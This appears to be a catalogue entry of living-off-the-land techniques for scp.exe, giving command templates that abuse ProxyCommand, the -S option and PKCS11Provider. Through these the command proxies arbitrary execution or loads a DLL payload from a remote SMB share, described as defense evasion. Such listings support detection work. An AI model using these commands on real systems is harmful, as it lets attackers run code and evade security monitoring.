Used for uploading or downloading files over SSH.
scp.exe executions referencing ProxyCommand.
Spawns specified command from scp.exe -> ssh.exe, even if no SSH server is running on localhost (or any other address specified).
scp.exe -o ProxyCommand="{CMD}" . localhost:.
Proxy execution of specified command, can be used as a defensive evasion.
Spawns specified command from scp.exe -> ssh.exe, even if no SSH server is running on localhost (or any other address specified).
scp.exe -S "{CMD}" . localhost:.
Proxy execution of specified command, can be used as a defensive evasion.
Loads a DLL from an absolute path or SMB path into child process ssh.exe by abusing the PKCS11Provider option. The payload executes upon DLL load (DllMain) and requires exporting C_GetFunctionList to prevent premature termination by scp.exe.
scp -o PKCS11Provider="{PATH_SMB:.dll}" . win@github.com:.
Performs indirect execution of a specified DLL from a remote share, can be used for defense evasion.